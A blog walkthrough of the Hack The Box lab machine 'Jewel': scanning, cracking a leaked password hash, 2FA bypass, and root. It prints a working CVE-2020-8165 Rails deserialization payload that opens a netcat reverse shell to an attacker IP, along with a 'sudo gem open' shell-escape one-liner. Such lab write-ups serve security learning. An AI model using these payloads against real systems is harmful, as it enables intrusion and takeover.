Home Hackthebox jewel walkthrough
Post
Cancel

Hackthebox jewel walkthrough

Scanning

Screenshot-from-2021-02-13-17-25-59

We found port 22 for ssh and port 8000,8080 for HTTP where port 8000

Let`s add jewel.htb in our hosts

Screenshot-from-2021-02-13-17-54-04

Enumeration

Port 8000

Screenshot-from-2021-02-13-18-01-04

port 8080

Screenshot-from-2021-02-13-18-01-35

Let`s enumerate the BLOG!

Bill Jennifer

We found 2 user Bill,Jennifer

Let`s enumerate the REPO

Screenshot-from-2021-02-13-18-15-14

After some enumerating i found SQL file "bd.sql" and i got some hashes

Screenshot-from-2021-02-13-18-18-20

I cracked Bill hash "spongebob" but couldn`t login, let`s countinue enumeration

Screenshot-from-2021-02-13-18-27-25

User flag

It`s using ruby '2.5.5' , let`s search for an exploit

After searching i found a CVE

CVE-2020-8165

I tested all the fields and i found that the vulnerable input in updating user fields

Payload

%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%08%3A%09%40srcI%22U%60rm+%2Ftmp%2Ff%3Bmkfifo%20%2ftmp%2ff%3bcat%20%2ftmp%2ff%7c%2fbin%2fsh+-i+2%3e%261%7cnc+10.10.XX.XX+9001+%3e%2Ftmp%2ff%60%06%3A%06ET%3A%0E%40filenameI%22%061%06%3B%09T%3A%0C%40linenoi%06%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3B%09T%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%09T

Change the ip to your ip

web10 cmd2

$ su bill
Password: 
bill@jewel:~$ whoami
bill

The password is "spongebob" we cracked it if you remember

Let`s upgrade our shell

ssh ssshhs1

Root flag

I listed the directory as 1st step of enumeration and i found Google auth, it look like the admin use 2FA

Google-autyh

Let`s get the secret key and use google auth

cmd10 auth-1 auth-2

Let`s generate the OTP

web14

Let`s use the OTP

cmd11

Looks like something wrong.

This step made my mind blow off , i searched a lot and asked for a nudge at HTB discord server

Someone told me it`s about sync with the victim box, let`s see

cmd123. cmd123

Timezone is different, let`s set our machine to the victim timezone

cmd163 cmd1645

Let`s try to escalate privilege again

priv

Bam ! it`s working

sudo gem open -e "/bin/sh -c /bin/sh" rdoc
                                                                

cmd19

Thanks for reading i hope you enjoyed

This post is licensed under CC BY 4.0 by the author.